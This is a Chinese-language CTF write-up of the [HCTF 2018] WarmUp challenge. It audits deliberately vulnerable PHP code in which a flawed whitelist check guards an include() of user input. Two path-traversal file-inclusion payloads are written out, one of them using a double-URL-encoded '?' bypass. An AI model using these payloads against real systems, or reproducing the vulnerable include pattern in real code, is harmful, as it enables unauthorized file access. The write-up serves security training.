【BUUCTF-Web】[HCTF 2018]WarmUp

206 阅读1分钟

Subject

PHP 代码审计


Mind Palace

打开题目:

查看网页源代码获得提示:

URL后面加上source.php,获得需要审计的代码:

思路

<?php
// 重點的內容:
// in_array() mb_substr() mb_strpos()

// in_array — Checks if a value exists in an array | 檢查
// mb_substr — Get part of string | 切割字符串
// mb_strpos — Find position of first occurrence of string in a string | 定位

    highlight_file(__FILE__);

    class emmm
    {
        public static function checkFile(&$page)
        {
            // 白名單
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            // 一般都會符合的判斷
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            // 1. 判斷變量 page 是否存在於白名單
            if (in_array($page, $whitelist)) {                    
                return true;
            }

            // 變換1 => $page -> $_page
            $_page = mb_substr(                                         
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            // 2. 判斷變量 _page 是否存在於白名單
            if (in_array($_page, $whitelist)) {                         
                return true;                                            
            }

            // 變換2 => $_page -> $_page
            $_page = urldecode($page);                                  
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            // 3. 判斷變量 _page 是否存在於白名單
            if (in_array($_page, $whitelist)) {                         
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }// class: emmm

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];                  // $_REQUEST['file'] ==> 需要通過三項檢測
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
?>
  1. 代码审计后找到的重点是:emmm类中checkFile中含有三个if审查
  2. 三个if审查中一个return true之后就可以携带payload获取flag
  3. 第一个if肯定无法return true;因为含有payload的$page一定不在白名单之中
  4. 考虑第二个or第三个if审查中构造可以通过白名单并携带了payload的$_REQUEST['file']
  5. url/hint.php中获得提示ffffllllaaaagggg => 可能是向上四次穿透

Payload

(1) Linux服务器中文件夹可以含'?'(在第二次if审查即可通过白名单):
Payload1 ==> ?file=source.php?/../../../../ffffllllaaaagggg

(2) Windows中文件夹不可以含'?'(在第三次if审查中通过白名单|%253F经过url解码两次解码回字符串'?'):
Payload2 ==> ?file=source.php%253F/../../../../ffffllllaaaagggg


Look Ahead

代码审计的题目一定要了解关键函数/代码块的功能;抓最重点


END ψ(`∇´)ψ